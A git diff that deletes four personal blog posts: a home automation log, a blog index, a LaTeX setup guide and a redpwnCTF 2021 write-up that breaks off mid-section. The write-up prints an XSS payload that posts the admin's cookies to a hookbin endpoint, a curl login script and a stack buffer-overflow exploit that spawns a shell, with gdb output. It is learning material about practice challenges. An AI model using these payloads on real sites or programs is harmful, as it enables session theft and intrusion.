b/posts/homeauto.md deleted file mode 100644 index 35d8d12..0000000 --- a/posts/homeauto.md +++ /dev/null @@ -1,248 +0,0 @@ -[meta]: <title> (My home automation adventure) -[meta]: <subtitle> (How to make your house a shitty utopia) -[meta]: <author> (Loek) -[meta]: <date> (August 17 2021) -[meta]: <tags> (home automation, raspberry pi, esp8266, cc2500, microcontrollers, software, hardware, hacking) -[meta]: <cover> (/img/homeauto.png) - -Home automation is cool, but it can also be scary. I want to try to convert my -existing bedroom lights into 'smart' lights that I can control using a home -automation system. - -I've tried two home automation systems so far: homebridge and home assistant. -Homebridge isn't really an automation system. It's meant to add unsupported -devices to *homekit*, but doesn't work with anything other than apple devices. -I've also tried (and am currently using) home assistant. It's a complete -replacement for the homekit ecosystem, and it can do basically anything, as -long as you're patient enough... - -The devices I'm going to try to automate are: - -- A random bluetooth RGB/white lamp I bought a couple years back -- An RGB strip under my bed my mom got me for christmas -- A gen 1 Philips LivingColors lamp from 2008 -- My Toshiba RAS-M10GKV-E2 air conditioning unit - -## Bluetooth RGB lamp - -This lamp is apparently another Chinese product that gets rebranded and sold -under different names. I bought mine as the "[Shada led's -light](http://leds-lightpro.com/node/4368)" (no the apostrophe isn't a typo). - -When scanning for bluetooth devices using `bluetoothctl` on Linux, it shows up -as an LE device called "Beken LED". - -I don't remember what search term I used when searching for it's bluetooth -protocol, but I landed on [this page](https://wiki.fhem.de/wiki/BEKEN_iLedBlub) -from a german website about home automation, where it's called the "BEKEN -iLedBulb". It documents which Bluetooth LE characteristics you need to write to -for the lamp to change color. - -The lamp has both [iOS](https://apps.apple.com/us/app/leds-light/id1058642950) -and -[android](https://play.google.com/store/apps/details?id=com.shada.ledslight&hl=en_US&gl=US) -apps available, though only the iOS app seemed to work. - -### Writing a homebridge plugin - -When I started out with this home automation business, I used homebridge -because I didn't know about home assistant yet. Developing plugins for -homebridge is actually pretty easy (after figuring out [how to get the plugin -to load](https://github.com/homebridge/homebridge/issues/2958)). The -documentation is pretty good, and it has typescript integration for maximum -/comfy/-ness. - -Because HomeKit doesn't support RGBW or RGBWW lights (lights that have both rgb -and dedicated white diodes), I chose to display them as seperate rgb and white -lamps inside the home app. - -[The plugin](https://www.npmjs.com/package/homebridge-beken) is pretty janky, -and requires some manual setup, but it worked very consistently for the single -week I used it for. - -### Converting the homebridge plugin to home assistant - -Now that I could control a single bulb using the home app and siri, I needed -more. The homebridge website allows for turning devices on/off, but doesn't -allow color changes. I also liked the idea of controlling the lights using my -phone, which runs android. - -Home assistant was the solution, so I went ahead and installed [home assistant -core](https://www.home-assistant.io/installation/linux#install-home-assistant-core) -on the Raspberry Pi 3B+ I'm using as a dedicated home automation hub. - -Upon opening it for the first time, I noticed it was much slower than -homebridge, but that's because it was installing a bunch of other stuff in the -background. After waiting for the background tasks to complete, I was greeted -with a very nice web interface. There were also already devices that I could -integrate immediately, like the downstairs chromecasts, and my Jellyfin server. - -Now I had to figure out how to write a plugin for home assistant. There's some -concepts in the home assistant ecosystem that I didn't quite understand, which -made searching where to start harder. - -**Integrations** are like plugins, they allow you to *integrate* an unsupported -device into home assistant. Integrations create **devices** which create -**entities** (device properties). Certain entity types can only be read (like -`sensor`), and others can also be updated / written to (lights). - -The documentation for creating entity integrations is pretty poopy, and I -mostly used other plugins on GitHub as reference material. The home assistant -plugin code is available on -[GitHub](https://github.com/lonkaars/homeassistant-beken) and [my personal git -server](https://git.pipeframe.xyz/lonkaars/homeassistant-beken/about). - -## RGB gamer bed - -I was originally planning to control this strip using IR remote emulation, but -I remembered a friend of mine still had an esp8266 laying around. So I went the -extra mile and wanted to try to create a new driver board for the strip -instead. - -### Opening the original driver - -![](/img/homeauto/controller_original.jpg) - -![](/img/homeauto/opening_controller.jpg) - -![](/img/homeauto/open_controller.jpg) - -![](/img/homeauto/controller_board.jpg) - -### Making a custom driver board - -**I AM NOT AN ELECTRICIAN**. I looked on the internet, and I think this is just -a simple board with some mosfets and flash memory for storing the 6 custom -colors. The mosfets are the 3 big squares labeled Q1, Q2 and Q3. The way the -strip works is it gets +12v though the black wire, and then lights up when you -ground any combination of the red, green, and blue wires. The strip dims using -pulse width modulation. The mosfets act like an electronic switch, and control -the grounding of the colored wires. - -I'm going to salvage the mosfets, and barrel plug from the original driver -board, and resolder them on a perfboard with the esp8266 so I can control them -over WiFi. The schematic I'm using comes from -[instructables](https://www.instructables.com/WiFi-Controlled-RGB-LED-Strip-With-ESP8266/). - -![](/img/homeauto/schematic.png) - -The whole solder job was a complete massacre, and I really don't want to show -it. It does work though, but I had to buy a new soldering station because my -old soldering iron wasn't really fit for soldering small electronics. - -### Beautiful dremel work - -I wanted to use the original enclosure instead of a tupperware container this -time, so I used my dad's dremel to create holes for the esp to fit. - -![](/img/homeauto/shittydremel.png) - -![](/img/homeauto/espfit.png) - -As you can see I did a great job :^) - -The esp is still at the bottom of the case, but getting everything to fit -inside was so hard that I completely forgot to take pictures. So here's a -picture of the finished controller mounted under my bed using two small nails: - -![Job well done](/img/homeauto/finishedcontroller.png) - -### ESP firmware - -The firmare I wrote for the esp is available on -[GitHub](https://github.com/lonkaars/esp8266-rgbstrip) and [my git -server](https://git.pipeframe.xyz/lonkaars/esp8266-rgbstrip/about), along with -the home assistant plugin -([GitHub](https://github.com/lonkaars/hass-esp8266-rgbstrip), -[cgit](https://git.pipeframe.xyz/lonkaars/hass-esp8266-rgbstrip/about)). I used -the [espressif ESP8266_RTOS_SDK](https://github.com/espressif/ESP8266_RTOS_SDK) -toolchain with gnu make as my build system. - -It just connects to your specified wifi network under your specified hostname, -and listens on port 80 for regular http requests. Here's how to use it without -the home assistant plugin: - -```bash -# get color -curl http://hostname/ - -# set color rrggbb color (hex) -curl -X POST -d "0000ff" http://hostname/ -``` - -Some cool features this firmare has are: - -- Linearly interpolated color transitions with customizable transition and step - duration -- Brightness curve correction (makes difference in brightness more pronounced - at higher brightness levels by using a parabolic curve) - -I'm not sure if the more popular [ESPHome](https://esphome.io/) firmare has -these features, but I wanted to have a go at writing my own firmare anyways. - -### Safety - -Because the esp8266 is a pretty basic microcontroller, it doesn't use https or -ssl for encryption. To protect from people in my house wanting to control my -lights, I used the raspberry pi's onboard wifi module to create a hidden -private isolated wifi network for this, and all future IoT devices in my -bedroom. I'm using `hostapd` to create the wifi network, and `dnsmasq` for -assigning ip addresses and hostname resolution. Here's the config file for -`dnsmasq`: - -``` -no-resolv -interface=wlan0 -dhcp-range=10.0.0.1,10.0.0.16,24h -server=8.8.8.8 -``` - -And here's `hostapd`'s config file: - -```bash -# common settings -interface=wlan0 -driver=nl80211 -ssid=network_name_here -hw_mode=g -channel=1 -macaddr_acl=0 -auth_algs=1 -ignore_broadcast_ssid=1 -wpa=2 -wpa_passphrase=network_password_here -wpa_key_mgmt=WPA-PSK -rsn_pairwise=CCMP - -# raspberry pi 3b+ specific settings -ieee80211n=1 # 802.11n support -wmm_enabled=1 # QoS support -ht_capab=[HT40+][SHORT-GI-20][DSSS_CCK-40] -``` - -Very complicated stuff... - -## Philips LivingColors lamp - -[This](http://www.knutsel.org/2009/01/01/livingcolors-1st-generation/) article -describes all the research that went into reverse-engineering the lamp. - -I ordered a cc2500 wireless transmitter and receiver, but the seller cancelled -the order, and now I have to wait a while longer to get one. I'll update this -article once I've set it up though. - -## Toshiba air conditioning unit - -I created a small daughter board to connect to the raspberry pi's gpio pins, -that has an IR phototransistor and IR blaster. This is so I could record and -replay the IR messages from the remote more easily. - -I've spent a solid two days now trying to use my raspberry pi or arduino uno as -a janky logic analyzer, to capture the IR messages and get the message contents -manually, but I still haven't succeeded. I have however succeeded in frying the -IR LED by giving it +5v backwards without any protection, so that's something I -guess. I'll update this section of the article together with the Philips lamp. - - -To be continued... - diff --git a/posts/index.md b/posts/index.md deleted file mode 100644 index 50894f5..0000000 --- a/posts/index.md +++ /dev/null @@ -1,25 +0,0 @@ -[meta]: <title> (Loek's excruciatingly interesting blog) -[meta]: <subtitle> (This is the article that's displayed on the home page) -[meta]: <author> (Loek) -[meta]: <date> (April 12 2021) -[meta]: <tags> (home) -[meta]: <cover> (/img/helloworld.png) - -Welcome to my blog page! This is where I post updates on things that I do such -as: - -- Cool open source software that I think you should use -- How to set up self-hosted applications -- Rants about Microsoft Windows -- Maybe some recipes I dunno - -The page you're looking at right now is also open-source! The code for this -page can be found on [GitHub](https://github.com/lonkaars/blog), and should -also be available on [my private git server](https://git.pipeframe.xyz). - -An rss/atom feed of this blog is also available: - -``` -https://blog.pipeframe.xyz/atom.xml -``` - diff --git a/posts/latex.md b/posts/latex.md deleted file mode 100644 index e1f4163..0000000 --- a/posts/latex.md +++ /dev/null @@ -1,129 +0,0 @@ -[meta]: <title> (My LaTeX setup) -[meta]: <subtitle> (How to set up a simple LaTeX environment with XeTeX and latexmk) -[meta]: <author> (Loek) -[meta]: <date> (January 24 2022) -[meta]: <tags> (software, latex, git) -[meta]: <cover> (/img/latex.png) - -I started using LaTeX instead of MS Word about two years ago, and I've never -regretted the decision. I switched out of frustration because Word makes it -really easy to mess up your document structure without you noticing. - -## Cool features LaTeX gets you - -- Automatically numbered figures with references that automatically update -- Really simple bibliography management with `biblatex` -- Packages that help you typeset scientific things like chemistry or physics -- Professional looking output documents with very little effort -- Automation of repetitive things with macros -- It's a plain text format, so it works well with `git` or other version - control software -- Probably more - -## Installation - -This guide is for Arch Linux and it's derivatives, but you can use -[pkgs.org](https://pkgs.org) to find the mentioned packages if they're under a -different name in your distro's package manager. - -### Required packages - -- `biber` -- `texlive-most`, containing: - - `texlive-bibtexextra` - - `texlive-core ` - - `texlive-fontsextra ` - - `texlive-formatsextra` - - `texlive-games` - - `texlive-humanities` - - `texlive-latexextra` - - `texlive-music` - - `texlive-pictures` - - `texlive-pstricks` - - `texlive-publishers` - - `texlive-science` - -tl;dr - -``` -# pacman -S texlive-most biber -``` - -### Force XeTeX compiler with latexmk - -To force latexmk to use the `xelatex` compiler instead of `pdflatex` you can -create `~/.config/latexmk/latexmkrc` with the following content: - -``` -$pdflatex = "xelatex %O %S"; -$pdf_mode = 1; -$dvi_mode = 0; -$postscript_mode = 0; -``` - - -## Hello world - -> I have recently made another repository on my profile for template files, you -> can find it [here on github](https://github.com/lonkaars/templates) or [here -> on git.pipeframe.xyz](https://git.pipeframe.xyz/lonkaars/templates). It -> includes a latex starting point with more commonly used packages, and other -> files I tend to copy from other projects - -LaTeX uses a lot of auxiliary files for compilation, so it's a good idea to -create a new directory for every document. After creating a new directory, -create a .tex file and open it with a text editor. - -```tex -\documentclass[12pt, a4paper, dutch]{article} -\usepackage[margin=1in]{geometry} -\usepackage{babel} - -\bigskipamount=7mm -\medskipamount=4mm -\parindent=0mm - -\begin{document} -Hello world! -\end{document} -``` - -This is the starting point I generally use for all my documents. It uses a4 -paper and 2.54cm margins, which is the default in Word (in Europe). Because -most of my documents are in Dutch, I add the `dutch` option to my document -class, and import the babel package for correct word breaking and built-in -latex heading translations. I also disable paragraph indenting, and modify the -`\bigskip` and `\medskip` distances. - -After creating the .tex file, you can run `latexmk <your .tex file>` to compile -the document. When it's done, you should have a new .pdf file in your directory -with the same name as the .tex file. - -Keep in mind that you can probably install an extension for your text editor to -have it automatically compile and refresh your document for you. If you're -using Visual Studio Code, you can use the [LaTeX -Workshop](https://marketplace.visualstudio.com/items?itemName=James-Yu.latex-workshop) -extension, and for vim I use [vimtex](https://github.com/lervag/vimtex) with -[coc-vimtex](https://github.com/neoclide/coc-vimtex) for -[coc](https://github.com/neoclide/coc.nvim). - -## Notes - -### LaTeX and git - -Because LaTeX creates a lot of temporary files, you should add the following to -your repository's `.gitignore`: - -```gitignore -*.aux -*.bbl -*.bcf -*.blg -*.fdb_latexmk -*.fls -*.log -*.out -*.run.xml -*.synctex.gz -``` - diff --git a/posts/redpwn2021.md b/posts/redpwn2021.md deleted file mode 100644 index 97ee0a9..0000000 --- a/posts/redpwn2021.md +++ /dev/null @@ -1,775 +0,0 @@ -[meta]: <title> (redpwnCTF 2021) -[meta]: <subtitle> (A noob's perspective) -[meta]: <author> (Loek, Willem) -[meta]: <date> (July 13 2021) -[meta]: <tags> (hacking, CTF, writeup) -[meta]: <cover> (/img/redpwn2021.png) - -This is the first 'real' CTF I've participated in. About two weeks ago, a -friend of mine was stuck on some challenges from the Radboud CTF. This was a -closed CTF more geared towards beginners (high school students), and only had a -few challenges which required deeper technical knowledge of web servers and -programming. Willem solved most of the challenges, and I helped solve 3 more. - -Apart from those challenges, basically all my hacking knowledge comes from -computerphile videos, liveoverflow videos and making applications myself. - -> epic announcement!!! -> -> Willem has added explanations of the challenges he solved, so go read them! - -## Challenges - -### web/pastebin-1 - -This challenge is a simple XSS exploit. The website that's vulnerable is -supposed to be a clone of pastebin. I can enter any text into the paste area, -and it will get inserted as HTML code into the website when someone visits the -generated link. - -The challenge has two sites: one with the pastebin clone, and one that visits -any pastebin url as the website administrator. The goal of this challenge is -given by it's description: - -> Ah, the classic pastebin. Can you get the admin's cookies? - -In JS, you can read all cookies without the `HttpOnly` attribute by reading -`document.cookie`. This allows us to read the cookies from the admin's browser, -but now we have to figure out a way to get them sent back to us. - -Luckily, there's a free service called [hookbin](https://hookbin.com/) that -gives you an http endpoint to send anything to, and look at the request -details. - -Combining these two a simple paste can be created: - -```html -<script> - var post = new XMLHttpRequest(); - post.open("post", "https://hookb.in/<endpoint url>"); - post.send(document.cookie); -</script> -``` - -### crypto/scissor - -I wasn't planning on including this one, but it makes use of the excellent -[CyberChef](https://gchq.github.io/CyberChef/) tool. The flag is given in the -challenge description, and is encrypted using a ceasar/rot13 cipher. A simple -python implementation of this cipher is included with the challenge, but I just -put it into CyberChef and started trying different offsets. - -### rev/wstrings - -> Some strings are wider than normal... - -This challenge has a binary that uses a simple `strcmp` to check the flag. When -running the program, the following output is visible: - -```sh -# ./wstrings -Welcome to flag checker 1.0. -Give me a flag> -``` - -My first stategy was running the `strings` utility on the `wstrings` binary, -but I didn't find the flag. What was interesting to me though was that I also -couldn't find the prompt text... This immediately made me check for other -string encodings. - -Running the `strings` utility with the `-eL` flag tells `strings` to look for -32-bit little-endian encoded strings, and lo and behold the flag shows up! - -This is because ascii strings are less 'wide' than 32-bit strings: - -``` - --- ascii --- - -hex -> 0x68 0x65 0x6c 0x6c 0x6f -str -> h e l l o -``` - -Notice how each character is represented by a single byte each (8 bits) in -ascii, as opposed to 32-bit characters in 32-bit land. - -``` - --- 32-bit land --- - -hex -> 0x00000068 0x00000065 0x0000006c 0x0000006c 0x0000006f -str -> h e l l o -``` - -I think 32-bit strings also have practical use for things like non-English -texts such as Hebrew, Chinese or Japanese. Those characters take up more space -anyways, and you would waste less space by not using unicode escape characters. - -### web/secure - -> Just learned about encryption—now, my website is unhackable! - -This challenge is pretty simple if you know some of JS's quirks. Right at the -top of the file is an sqlite3 expression in JS: - -```js -//////// -db.exec(`INSERT INTO users (username, password) VALUES ( - '${btoa('admin')}', - '${btoa(crypto.randomUUID)}' -)`); -``` - -This section of code immediately jumped out to me because I noticed that -`crypto.randomUUID` wasn't actually being called. - -Because the 'random uuid' is being fed into `btoa()` it becomes a base64 -encoded string. However, `btoa()` also expects a string as input. Because every -object in JS has a `.toString()` method, when you pass it into a function -expecting another type, JS will happily convert it for you without warning. - -This means that the admin's password will always be a base64-encoded version of -`crypto.randomUUID`'s source code. We can get that base64-encoded source code -by running the following in a NodeJS REPL: - -```js -// import file system and crypto modules -var writeFileSync = require('fs').writeFileSync; -var crypto = require('crypto'); - -// write source to file -writeFileSync('./randomUUID.js', btoa(crypto.randomUUID.toString()), 'utf-8'); -``` - -I made a simple shell script that calls cURL with the base64-encoded -parameters, and decodes the url-encoded flag afterwards: - -```sh -#!/bin/sh - -# https://stackoverflow.com/questions/6250698/how-to-decode-url-encoded-string-in-shell -function urldecode() { : "${*//+/ }"; echo -e "${_//%/\\x}"; } - -urldecode $(curl -sX POST \ - -d "username=$(printf 'admin' | base64)" \ - -d "password=$(cat ./randomUUID.js)" \ - https://secure.mc.ax/login) -``` - -### crypto/baby - -> I want to do an RSA! - -This challenge is breaking RSA. It only works because the `n` parameter is -really small. - -Googling for 'rsa decrypt n e c' yields -[this](https://stackoverflow.com/questions/49878381/rsa-decryption-using-only-n-e-and-c) -stackoverflow result, which links to -[dcode.fr](https://www.dcode.fr/rsa-cipher). The only thing left to do is -calculate `p` and `q`, which can be done using [wolfram -alpha](https://wolframalpha.com/). - -### pwn/beginner-generic-pwn-number-0 - -> rob keeps making me write beginner pwn! i'll show him... -> -> `nc mc.ax 31199` - -This was my first interaction with `gdb`. It was.. painful. After begging for -help in the redpwnCTF discord server about another waaaay harder challenge, an -organizer named asphyxia pointed me towards [gef](https://github.com/hugsy/gef) -which single-handedly saved my sanity during the binary exploitation -challenges. - -The first thing I did was use [iaito](https://github.com/radareorg/iaito) to -look at a disassembly graph of the binary. Iaito is a graphical front-end to -the radare2 reverse engineering framework, and I didn't feel like learning two -things at the same time, so that's why I used it. While it's very -user-friendly, I didn't look into reverse engineering tools very much, and -didn't realise that iaito is still in development. Let's just say I ran into -some issues with project saving so I took lots of unnecessary repeated steps. - -After trying to make sense of assembly code after just seeing it for the first -time, I instead decided looking at the source code would be a better idea since -I actually know c. - -```c -#include <stdio.h> -#include <string.h> -#include <stdlib.h> - -const char *inspirational_messages[] = { - "\"𝘭𝘦𝘵𝘴 𝘣𝘳𝘦𝘢𝘬 𝘵𝘩𝘦 𝘵𝘳𝘢𝘥𝘪𝘵𝘪𝘰𝘯 𝘰𝘧 𝘭𝘢𝘴𝘵 𝘮𝘪𝘯𝘶𝘵𝘦 𝘤𝘩𝘢𝘭𝘭 𝘸𝘳𝘪𝘵𝘪𝘯𝘨\"", - "\"𝘱𝘭𝘦𝘢𝘴𝘦 𝘸𝘳𝘪𝘵𝘦 𝘢 𝘱𝘸𝘯 𝘴𝘰𝘮𝘦𝘵𝘪𝘮𝘦 𝘵𝘩𝘪𝘴 𝘸𝘦𝘦𝘬\"", - "\"𝘮𝘰𝘳𝘦 𝘵𝘩𝘢𝘯 1 𝘸𝘦𝘦𝘬 𝘣𝘦𝘧𝘰𝘳𝘦 𝘵𝘩𝘦 𝘤𝘰𝘮𝘱𝘦𝘵𝘪𝘵𝘪𝘰𝘯\"", -}; - -int main(void) -{ - srand(time(0)); - long inspirational_message_index = rand() % (sizeof(inspirational_messages) / sizeof(char *)); - char heartfelt_message[32]; - - setbuf(stdout, NULL); - setbuf(stdin, NULL); - setbuf(stderr, NULL); - - puts(inspirational_messages[inspirational_message_index]); - puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!"); - puts("can you write me a heartfelt message to cheer me up? :("); - - gets(heartfelt_message); - - if(inspirational_message_index == -1) { - system("/bin/sh"); - } -} -``` - -After looking at this source things became a lot clearer, because the only -input you can actually control is received from `gets(...);` - -Now comes the hard part: doing it, but in assembly! - -Some resources you should consume before attempting binary exploitation would -be [computerphile's video on buffer -overflows](https://www.youtube.com/watch?v=1S0aBV-Waeo) and -[cheat.sh/gdb](https://cheat.sh/gdb) for some basic gdb commands. The rest of -this section assumes you know the basics of both buffer overflows and gdb. - -First, let's print a disassembly of the `int main()` function: - -``` -(gdb) disas main -Dump of assembler code for function main: - 0x000000000040127c <+134>: call 0x4010a0 <puts@plt> - 0x0000000000401281 <+139>: lea rdi,[rip+0xec8] # 0x402150 - 0x0000000000401288 <+146>: call 0x4010a0 <puts@plt> - 0x000000000040128d <+151>: lea rdi,[rip+0xf1c] # 0x4021b0 - 0x0000000000401294 <+158>: call 0x4010a0 <puts@plt> - 0x0000000000401299 <+163>: lea rax,[rbp-0x30] - 0x000000000040129d <+167>: mov rdi,rax - 0x00000000004012a0 <+170>: call 0x4010f0 <gets@plt> - 0x00000000004012a5 <+175>: cmp QWORD PTR [rbp-0x8],0xffffffffffffffff - 0x00000000004012aa <+180>: jne 0x4012b8 <main+194> - 0x00000000004012ac <+182>: lea rdi,[rip+0xf35] # 0x4021e8 - 0x00000000004012b3 <+189>: call 0x4010c0 <system@plt> - 0x00000000004012b8 <+194>: mov eax,0x0 - 0x00000000004012bd <+199>: leave - 0x00000000004012be <+200>: ret -End of assembler dump. -``` - -This isn't the full output from gdb, but only the last few lines. A few things -should immediately stand out: the 3 `<puts@plt>` calls, and right after the -call to `<gets@plt>`. These are the assembly equivalent of: - -```c -puts(inspirational_messages[inspirational_message_index]); -puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!"); -puts("can you write me a heartfelt message to cheer me up? :("); - -gets(heartfelt_message); -``` - -Since I didn't see any reference to a flag file being read, I assumed that the -`system("/bin/sh")` call is our main target, so let's see if we can find that -in our assembly code. There's a call to `<system@plt>` at `<main+189>`, and -there's other weird `cmp`, `jne` and `lea` instructions before. Let's figure -out what those do! - -After some stackoverflow soul searching, I found out that the `cmp` and `jne` -are assembly instructions for compare, and jump-if-not-equal. They work like -this: - -```asm6502 -; cmp compares what's in the $rbp register to 0xffffffffffffffff -; and turns on the ZERO flag if they're equal - 0x004012a5 <+0>: cmp QWORD PTR [rbp-0x8],0xffffffffffffffff - -; jne checks if the ZERO flag is on, -; and if it is it jumps (in this case) to 0x4012b8 -┌--0x004012aa <+1>: jne 0x4012b8 <main+194> -│; we can safely ignore the `lea` instruction as it doesn't impact our pwn -│ 0x004012ac <+2>: lea rdi,[rip+0xf35] # 0x4021e8 -│ -│; the almighty syscall -│ 0x004012b3 <+3>: call 0x4010c0 <system@plt> -│ -│; from here on the program exits without calling /bin/sh -└->0x004012b8 <+4>: mov eax,0x0 - 0x004012bd <+5>: leave - 0x004012be <+6>: ret -``` - -The program checks if there's `0xffffffffffffffff` in memory `0x8` bytes before -the `$rbp` register. The program allocates 32 bytes of memory for our heartfelt -message, but it continues reading even if our heartfelt message is longer than -32 bytes. Let's see if we can overwrite that register >:) - -Let's set a breakpoint after the `<gets@plt>` call in gdb, and run the program -with 40 bytes of `0x61` ('a') - -``` -(gdb) break *0x00000000004012a5 -Breakpoint 1 at 0x4012a5 - -(gdb) run < <(python3 -c "print('a' * 40)") -``` - -I'm using the `run` command with `<` and `<()` to pipe the output of python -into the program's `stdin`. It's unnecessary at this stage because there's an -'a' key on my keyboard, but if we were to send raw bytes, this would make it a -lot easier. - -I'm also using [gef](https://github.com/hugsy/gef) so I get access to a command -called `context` which prints all sorts of information about registers, the -stack and a small disassembly window. I won't show it's output here, but it -was an indispensable tool that you should install nonetheless. - -Let's print the memory at `[$rbp - 0x8]`: - -``` -(gdb) x/8gx $rbp - 0x8 -0x7fffffffd758: 0x0000000000000000 0x0000000000000000 -0x7fffffffd768: 0x00007ffff7de4b25 0x00007fffffffd858 -0x7fffffffd778: 0x0000000100000064 0x00000000004011f6 -0x7fffffffd788: 0x0000000000001000 0x00000000004012c0 -``` - -Hmmm, no overwriteage yet. Let's try 56 bytes instead: - -``` -(gdb) run < <(python3 -c "print('a' * 56)") -(gdb) x/8gx $rbp - 0x8 -0x7fffffffd758: 0x6161616161616161 0x6161616161616161 -0x7fffffffd768: 0x00007ffff7de4b00 0x00007fffffffd858 -0x7fffffffd778: 0x0000000100000064 0x00000000004011f6 -0x7fffffffd788: 0x0000000000001000 0x00000000004012c0 -(gdb) x/1gx $rbp - 0x8 -0x7fffffffd758: 0x6161616161616161 -``` - -Jackpot! We've overwritten 16 bytes of the address that the `cmp` instruction -reads. Let's try setting it to `0xff` instead, so we get a shell. Python 3 is -not that great for binary exploitation, so the code for this is a little bit -ugly, but if it works, it works! - -``` -(gdb) run < <(python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)") -(gdb) x/1gx $rbp - 0x8 -0x7fffffffd758: 0xffffffffffffffff -``` - -Now let's let execution continue as normal by using the `continue` command: - -``` -(gdb) continue -Continuing. -[Detaching after vfork from child process 22950] -[Inferior 1 (process 22947) exited normally] -``` - -This might seem underwhelming, but our explit works! A child process was -spawned, and as a bonus, we didn't get any segmentation faults! The reason we -don't get an interactive shell is because we used python to pipe input into the -program which makes it non-interactive. - -At this point I was about 12 hours in of straight gdb hell, and I was very -happy to see this shell. After discovering this, I immediately tried it outside -the debugger and was dissapointed to see that my exploit didn't work. After a -small panick attack I found out this was because of my environment variables. -You can launch an environment-less shell by using the `env -i sh` command: - -``` -λ generic → λ git master* → env -i sh -sh-5.1$ python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)" | ./beginner-generic-pwn-number-0 -"𝘭𝘦𝘵𝘴 𝘣𝘳𝘦𝘢𝘬 𝘵𝘩𝘦 𝘵𝘳𝘢𝘥𝘪𝘵𝘪𝘰𝘯 𝘰𝘧 𝘭𝘢𝘴𝘵 𝘮𝘪𝘯𝘶𝘵𝘦 𝘤𝘩𝘢𝘭𝘭 𝘸𝘳𝘪𝘵𝘪𝘯𝘨" -rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self! -can you write me a heartfelt message to cheer me up? :( -sh-5.1$ # another shell :tada: -``` - -Now it was time to actually do the exploit on the remote server. - -I whipped up the most disgusting and janky python code that I won't go into -detail about, but here's what is does (in short): - -1. Create a thread to capture data from the server and forward it to `stdout` -2. Capture user commands using `input()` and decide what to do with them on the main thread - -The code for this script can be found -[here](https://github.com/lonkaars/redpwn/blob/master/challenges/generic/pwn.py), -though be warned, it's _very_ janky and you're probably better off copying -stuff from stackoverflow. Writing your own tools is more fun though, and might -also be faster than trying to wrestle with existing tools to try to get them to -do exactly what you want them to do. In this case I could've also just used [a -simple -command](https://reverseengineering.stackexchange.com/questions/13928/managing-inputs-for-payload-injection?noredirect=1&lq=1). - -It did help me though and I actually had to copy it for use in the other buffer -overflow challenge that I solved, so I'll probably refactor it someday for use -in other CTFs. - -### crypto/round-the-bases - -This crypto challenge uses a text file with some hidden information. If you -open up the file in a text editor, and adjust your window width, you'll -eventually see the repeating pattern line up. This makes it very easy to see -what part of the pattern is actually changing: - -``` -----------------------xxxx---- -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:K0o09mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN -``` - -I wrote a simple python script to parse this into binary data, and it worked on -the first try: - -```py -# read the file into a string -file = open("./round-the-bases") -content = file.read() -file.close() - -# split on every 30th character into a list -n = 30 -arr = [ content[i : i + n] for i in range(0, len(content), n) ] - -bin = [] -for line in arr: - sub = line[16:20] # the part that changes - if sub == 'IIcu': # IIcu -> 0x0 - bin.append('0') - else: # K0o0 -> 0x1 - bin.append('1') - -bin = ''.join(bin) # join all the list indices together into a string - -# decode the binary string into ascii characters -for i in range(0, len(bin), 8): - print(chr(int(bin[i:i+8], 2)), end='') - -# newline for good measure -print("\n", end='') -``` - -### pwn/ret2generic-flag-reader - -This was the second binary exploitation challenge I tackled, and it went much -better than the first because I (sort of) knew what I was doing by now. - -I figured the 'ret2' part of the title challenge was short for 'return to', and -my suspicion was confirmed after looking at the c source: - -```c -#include <stdio.h> -#include <string.h> -#include <stdlib.h> - -void super_generic_flag_reading_function_please_ret_to_me() -{ - char flag[0x100] = {0}; - FILE *fp = fopen("./flag.txt", "r"); - if (!fp) - { - puts("no flag!! contact a member of rob inc"); - exit(-1); - } - fgets(flag, 0xff, fp); - puts(flag); - fclose(fp); -} - -int main(void) -{ - char comments_and_concerns[32]; - - setbuf(stdout, NULL); - setbuf(stdin, NULL); - setbuf(stderr, NULL); - - puts("alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable..."); - puts("how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!"); - puts("slap on some flavortext and there's no way rob will fire me now!"); - puts("this is genius!! what do you think?"); - - gets(comments_and_concerns); -} - -``` - -With my newfound knowledge of binary exploitation, I figured I would have to -overwrite the return pointer on the stack somehow, so the program calls the -`super_generic_flag_reading_function_please_ret_to_me` function that isn't -called at all in the original. - -The only input we have control over is again a call to `gets();` - -Let's look at the disassembly in gdb: - -``` -(gdb) disas main -Dump of assembler code for function main: - 0x00000000004013f4 <+79>: call 0x4010a0 <puts@plt> - 0x00000000004013f9 <+84>: lea rdi,[rip+0xca0] # 0x4020a0 - 0x0000000000401400 <+91>: call 0x4010a0 <puts@plt> - 0x0000000000401405 <+96>: lea rdi,[rip+0xd0c] # 0x402118 - 0x000000000040140c <+103>: call 0x4010a0 <puts@plt> - 0x0000000000401411 <+108>: lea rdi,[rip+0xd48] # 0x402160 - 0x0000000000401418 <+115>: call 0x4010a0 <puts@plt> - 0x000000000040141d <+120>: lea rax,[rbp-0x20] - 0x0000000000401421 <+124>: mov rdi,rax - 0x0000000000401424 <+127>: call 0x4010e0 <gets@plt> - 0x0000000000401429 <+132>: mov eax,0x0 - 0x000000000040142e <+137>: leave - 0x000000000040142f <+138>: ret -End of assembler dump. -``` - -We see again multiple calls to `<puts@plt>` and right after a call to -`<gets@plt>`. There is no `cmp` and `jne` to be found in this challenge though. - -The goal is to overwrite the _return address_. This is a memory address also -stored in memory, and the program will move execution to that memory address -once it sees a `ret` instruction. In this 'vanilla' 